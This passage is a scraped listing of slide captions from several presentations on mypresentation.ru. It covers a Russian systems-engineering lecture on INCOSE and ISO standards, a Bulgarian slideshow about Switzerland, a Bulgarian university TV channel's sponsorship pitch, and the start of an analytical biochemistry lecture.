"description": "Для информации Батоврин Виктор Константинович, зав. кафедрой информационных систем Московского государственного института радиотехники, электроники и автоматики (технический университет) – МИРЭА Chartered Engineers, Engineering Council UK Член INCOSE тел. (495)-434-94-45 E-mail: [email protected]"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img24.jpg",
"description": "Рекомендации INCOSE INCOSE в документе SE VISION 2020 выделяет четыре важнейших аспекта подготовки по СИ: Включение СИ в учебные планы Влияние методологии СИ на индустриальное сообщество Использование инновационных подходов при проведении занятий по СИ Усиление взаимодействия между высшей школой, профессиональным сообществом, интересующимся СИ и лицами с многосторонними, междисциплинарными интересами"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img25.jpg",
"description": "Проблема самоприменения"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img26.jpg",
"description": "Почему не работают методы, стандарты и практики? ИНСТРУМЕНТЫ = ПО"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img27.jpg",
"description": "Моделеориентированные методы системной инженерии"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img28.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №29"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img29.jpg",
"description": "Почему необходим метод"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img30.jpg",
"description": "Что я понимаю под «методом»?"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img31.jpg",
"description": "ISO 15288: «Что делать» 25 обязательных процессов системной инженерии Обеспечения проектов управление описанием жизненного цикла управление инфраструктурой управление портфелем проектов (программой) управление персоналом управление качеством"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img32.jpg",
"description": "Типы компонентов (ISO 24744)"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img33.jpg",
"description": "Обеспечение трассировки модели (продукта)"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img34.jpg",
"description": "Трассировка модели (продукта)"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img35.jpg",
"description": "Трассировка модели (продукта)"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img36.jpg",
"description": "Реализация ISO 24744 планируется"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img37.jpg",
"description": "Инструменты для управления методами"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img38.jpg",
"description": "Альтернатива ISO 24744 – SPEM Есть реализация EPF_Composer"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img39.jpg",
"description": "Интеграционное моделирование"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img40.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №41"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img41.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №42"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img42.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №43"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img43.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №44"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img44.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №45"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img45.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №46"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img46.jpg",
"description": "Известная азиатская басня: “Слепой и слон” Известная азиатская басня: “Слепой и слон” Разработчики сложных продуктов формализовали подход к решению данной проблемы Подход Захмана, и т.д. C4ISR, DoDAF, MoDAF, и т.д."
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img47.jpg",
"description": "ЧАСТЬ III: ПРОЕКТИРОВАНИЕ ДЛЯ АДАПТИВНОСТИ (DFA) И ЦЕННОСТЬ НА ПРОТЯЖЕНИИ ЖИЗНЕННОГО ЦИКЛА (LCV)"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img48.jpg",
"description": "Стилизованное представление функции ценности на протяжении ЖЦ"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img49.jpg",
"description": "Выявление требований"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img50.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №51"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img51.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №52"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img52.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №53"
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img53.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №54"
},
{
"slide_number": "55",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img54.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №55"
},
{
"slide_number": "56",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img55.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №56"
},
{
"slide_number": "57",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img56.jpg",
"description": "Пример от развилки до модели"
},
{
"slide_number": "58",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img57.jpg",
"description": "Информационный обмен на этапах ЖЦ"
},
{
"slide_number": "59",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img58.jpg",
"description": "Договориться о терминологии"
},
{
"slide_number": "60",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img59.jpg",
"description": "Управление данными жизненного цикла систем по стандарту ISO 15926 Мэттью Вест http://www.matthew-west.org.uk http://www.informationjunction.co.uk"
},
{
"slide_number": "61",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img60.jpg",
"description": "Содержание Что такое ISO 15926? Мир в 4-мерном (4D) представлении Системы и элементы систем Классы Требования Каталоги продукции Выводы"
},
{
"slide_number": "62",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img61.jpg",
"description": "What is ISO 15926? Серия стандартов по интеграции и обмену информацией в течение всего жизненного цикла крупных объектов – напр., АЭС, НПЗ, морских буровых платформ Включает: Модель данных с семантикой на основе 4D-онтологии Справочные данные Методы реализации Я сосредоточусь на модели данных"
},
{
"slide_number": "63",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img62.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №63"
},
{
"slide_number": "64",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img63.jpg",
"description": "Возможные миры"
},
{
"slide_number": "65",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img64.jpg",
"description": "Онтологические допущения Индивиды существуют в пространстве-времени и могут занимать область, простирающуюся как в пространстве, так и во времени. Индивиды идентифицируются занимаемой ими пространственно-временной областью, т.е., если два индивида занимают одинаковую пространственно-временную область, то это один и от же индивид. Наряду с миром, в котором мы живем, существуют и другие возможные миры, и мы можем говорить не только о том, что фактически осуществилось, но и о том, что возможно, ссылаясь при этом на тот мир, где эта возможность реализуется. Классы – это объекты, не существующие в пространстве-времени, и состоящие из своих членов. Классы идентифицируются своими членами, т.е., если два класса состоят из одинаковых членов, то это один и тот же класс. Отношение – это совокупность объектов, играющих в этом отношении определенные роли. Отношение определяется «сигнатурой» - набором ролей."
},
{
"slide_number": "66",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img65.jpg",
"description": "Отношение целого и части"
},
{
"slide_number": "67",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img66.jpg",
"description": "Индивиды и состояния"
},
{
"slide_number": "68",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img67.jpg",
"description": "Среда интеграции моделей: Системной динамики, Расчетных моделей (мультифизика) Имитационных моделей На основе онтологических описаний Проект Simantics"
},
{
"slide_number": "69",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img68.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №69"
},
{
"slide_number": "70",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img69.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №70"
},
{
"slide_number": "71",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img70.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №71"
},
{
"slide_number": "72",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img71.jpg",
"description": "http://www.simantics.org/ Экосистема Simantics Демонстрации Документация Продукт открытый"
},
{
"slide_number": "73",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img72.jpg",
"description": "Онтологии. Пример безопасность."
},
{
"slide_number": "74",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img73.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №74"
},
{
"slide_number": "75",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img74.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №75"
},
{
"slide_number": "76",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img75.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №76"
},
{
"slide_number": "77",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img76.jpg",
"description": "Типы ценных активов"
},
{
"slide_number": "78",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img77.jpg",
"description": "Типы ущерба"
},
{
"slide_number": "79",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img78.jpg",
"description": "Русское отделение INCOSE Сайт http://incose.ru/ Очные встречи вторую и четвертую среду месяца в Москве (для иногородних организуется видеотрансляция). Материалы заседаний: http://community.livejournal.com/incose_ru 32 заседания (доступен архив 15 видеозаписей) Участвуют только члены INCOSE (вступить стоит $105 вот тут: http://incose.org)."
},
{
"slide_number": "80",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img79.jpg",
"description": "Системная инженерия: вызовы времени По результатам конференции RuSEC2010 Акоев Марк Анатольевич [email protected] Кафедра Программных средств, слайд №80"
},
{
"slide_number": "81",
"image": "https://mypresentation.ru/documents/0d850a814e5c2f652d5b31208899bb82/img80.jpg",
"description": "Вопросы"
}
] |
https://mypresentation.ru/presentation/99655 | ШВЕЙЦАРИЯ | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img0.jpg",
"description": "ШВЕЙЦАРИЯ"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img1.jpg",
"description": "ШВЕЙЦАРИЯ Швейцария е малка вътрешноконтинентална конфедерация в Централна Европа Тя граничи с Германия, Франция, Италия, Австрия и Лихтенщайн Столицата на страната е Берн"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img2.jpg",
"description": "Швейцария е федеративна парламентарна република, като всеки кантон има свое правителство, парламент и конституция"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img3.jpg",
"description": "Щвейцария се слави още с пряката си демокрация на управление Всяка година се избира президент"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img4.jpg",
"description": "Разделена е на 26 кантона Централното правителство контролира армията, железниците, пощите и международните връзки"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img5.jpg",
"description": "Швейцария е страна без излаз на море Нейната територия включва три природни региона: Планините Юра на север Швейцарското плато в центъра Планините Алпи на юг, които заемат 61 % от цялата територия на Швейцария"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img6.jpg",
"description": "Най-високият връх на Алпите в Швейцария е върхът Дюфор (4634 м) Най-големите реки там са Рона и Рейн Страната е богата на езера"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img7.jpg",
"description": "Швейцария е една от най-богатите страни в Европа Нейните богатства са банкерството, туризмът и промишлеността Произвежда сирене, шоколад, лекарства, машини, часовници"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img8.jpg",
"description": "В страната има 4 официални езика – немски, френски италиански, реторомански Най-разпространената религия в Швейцария е католизмът"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img9.jpg",
"description": "Швейцария е най-богатата страна в света и един от най-важните банкови и финансови центрове в света Швейцарската валута има златно покритие"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img10.jpg",
"description": "Швейцария притежава голямо разнообразие от привлекателни места: Връх Матерхорн Алечкият глетчер Езерото Фиервалдщетерзе"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img11.jpg",
"description": "Желаещите да се докоснат до градската култура посещават нейнте големи градове – Цюрих и Женева"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/6b28b45cc223c9e9b848beac45373705/img12.jpg",
"description": "Курорти в Швейцария: Ленцерхайде Венген Аделбоден Лаакс"
}
] |
https://mypresentation.ru/presentation/99656 | Идеята Национална университетска телевизия Алма Матер е първата по рода си в България телевизионна програма за култура, образован | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img0.jpg",
"description": "Идеята Национална университетска телевизия Алма Матер е първата по рода си в България телевизионна програма за култура, образован, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img1.jpg",
"description": "Идеята Национална университетска телевизия “Алма Матер” е първата по рода си в България телевизионна програма за култура, образование и младежки политики. Статутът й е на обществен оператор с национално покритие"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img2.jpg",
"description": "Аудитория Хората на новото време Млади професионалисти Успели, защото вярват в себе си Мечтатели, които вярват и изпълняват мечтите си!"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img3.jpg",
"description": "Реализация Програмите на AMTV се излъчват по БНТ 1 и БНТ САТ Плановете са през 2010 година Алма Матер ТВ да се излъчват на самостоятелна честота, а след 2012 година да излъчва 24-часова програма. В дългосрочен план се предвижда създаването на международна мрежа от ТВ канали за култура, образование и младежки политики."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img4.jpg",
"description": "Програмни линии 4 програмни линии: 1. „Ку-ку презареждане”(сатирично предаване, посветено на актуални социални и политически проблеми) 2. „МладиБГ” (насочва вниманието към предизвикателствата пред младите свързани с образование и кариерно развитие)"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img5.jpg",
"description": "Програмни линии 3. „Ателие” (представяне на най-доброто от изгряващите български творци и артисти) 4. „Диалози” (дискусионно предаване по актуални социални и политически проблеми, където ще чуете и млади български учени)."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img6.jpg",
"description": "Програмни линии В настоящия момент Алма Матер ТВ стартира с програмните линии „Ку-ку Презареждане” и „Ателие” като първото се излъчва в първата седмица на месеца в четвъртък от 23ч., а второто- в последната в същия ден и час. Предстои сгъстяване на предаванията и старт на другите две програмни линии- „МладиБГ” и „Диалози”."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img7.jpg",
"description": "До сега"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img8.jpg",
"description": "“Ку-Ку се завръща” “Ку-Ку се завръща” първото пилотно предаване на телевизията, се излъчи в ефира на Канал 1 на 27ми Юли след новинарската емисия „По света и у нас” и стана най-гледаното предаване на БНТ за месец Юли !"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img9.jpg",
"description": "„Ку-Ку презареждане” продължава традицията на легендарното студентско предаване след промените „Ку-Ку” „Ку-Ку презареждане” продължава традицията на легендарното студентско предаване след промените „Ку-Ку” Хумор Въображение изразява позицията на младите по актуални социални и политически проблеми. нови и различни"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img10.jpg",
"description": "Рейтинг Като най-гледаното предаване, “Ку-ку се завръща” отбеляза 8.1 пункта и 22,4 % пазарен дял"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img11.jpg",
"description": "„Un-plugged” „Un-plugged” По повод празнуването на 120 годишнината от основаването на Софийски Университет „Св. Климент Охридски” екипът на телевизията засне телевизионния филм „Un-plugged”,излъчен по БНТ 1 от 23 часа на 27.11.08г. Филмът е дело на един от най-талантливите млади български режисьори – Николай Василев. Можете да видите филма на този линк."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img12.jpg",
"description": "“Ку-ку Презареждане” Второто предаване „Ку-ку презареждане” се излъчи на 21.12.2008г. и достигна рейтинг от 5,9 пункта и 21 процента пазарен дял, ненадминат за дадения часови пояс."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img13.jpg",
"description": "Статус и позиции На 10ти декември 2008 Алма Матер ТВ получи награда за „Младежки проект на годината” от национален форум „Младежко иновационно и информационно общество”. По време на форума, във връзка с убийството на студента Стоян Балтов, Алма Матер ТВ поде инициативата „Студентски град на студентите” и привлече вниманието на медиите и обществото в страната върху проблема за несигурността и трудностите, пред които са изправени студентите в България."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img14.jpg",
"description": "Проектът Алма Матер, освен ТВ програма, е и гражданска инициатива, която има за цел да: Проектът Алма Матер, освен ТВ програма, е и гражданска инициатива, която има за цел да: привлече енергията и таланта на младите в България, да им даде поле за изява, информация и възможност да бъде чута тяхната позиция за случващото се в страната ни, а и извън нея."
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img15.jpg",
"description": "Спонсорски предложения"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img16.jpg",
"description": "“Ку-ку Презареждане” Предаването улавя съвременната чувствителност и предизвикателствата на абсурдно-забавното ни настояще. Предвиждат се както „по-леки” хумористични форми, така и журналистически разследвания и репортажи. Времетраенето на предаването ще е 30 минути и ще се излъчва по БНТ 1. Рекламни клипове за предаването ще се излъчват преди централните и късните новини „По света и у нас”."
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img17.jpg",
"description": "“Ателие” Студентското предаване “Ателие” ще представя изгряващи таланти и комуникацията. Специално внимание ще се отдели и на блогове и другите популярни форми за комуникация между младите хора. Предаването включва Музикално ателие, Ателие Визуални Изкуства и Медия Ателие. Времетраенето на му ще е 30 минути и ще бъде излъчвано по БНТ 1. Рекламни клипове за предаването ще се излъчват преди централните и късните новини „По света и у нас”."
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img18.jpg",
"description": "Предимства и ползи Директен контакт с млада проактивна аудитория Комуникация в “прайм тайма” на националната телевизия БНТ 1 не просто със спонсорсто, а обвързване с партньорство в “каузата на младите” на “играчите” на бъдещето Ще достигнете до модерни, мислещи, освободени, образовани хора, които знаят как да се смеят и да се борят за по-добър живот."
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img19.jpg",
"description": "За въпроси и повече информация ще се радваме да се свържете с нас: Екипът на Алма Матер ТВ Невена Радулова Отдел Маркетинг и реклама, Телевизия Алма Матер, e-mail:[email protected] моб.тел: 0878 63 82 63"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/c350e910faae1bc35a307892a38ac0f3/img20.jpg",
"description": "Идеята Национална университетска телевизия Алма Матер е първата по рода си в България телевизионна програма за култура, образован, слайд №21"
}
] |
https://mypresentation.ru/presentation/99657 | Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img0.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img1.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img2.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img3.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img4.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img5.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img6.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img7.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img8.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img9.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img10.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img11.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img12.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img13.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img14.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img15.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img16.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img17.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img18.jpg",
"description": "Аналитическая биохимия / 2012 Лекция 1 Суть и принципы аналитической биохимии Валерий Зайцев, к.б.н. ВолгГМУ, кафедра биохимии Распрос, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/1c9a83a4f13bbf62ce45161a0c43df19/img19.jpg",
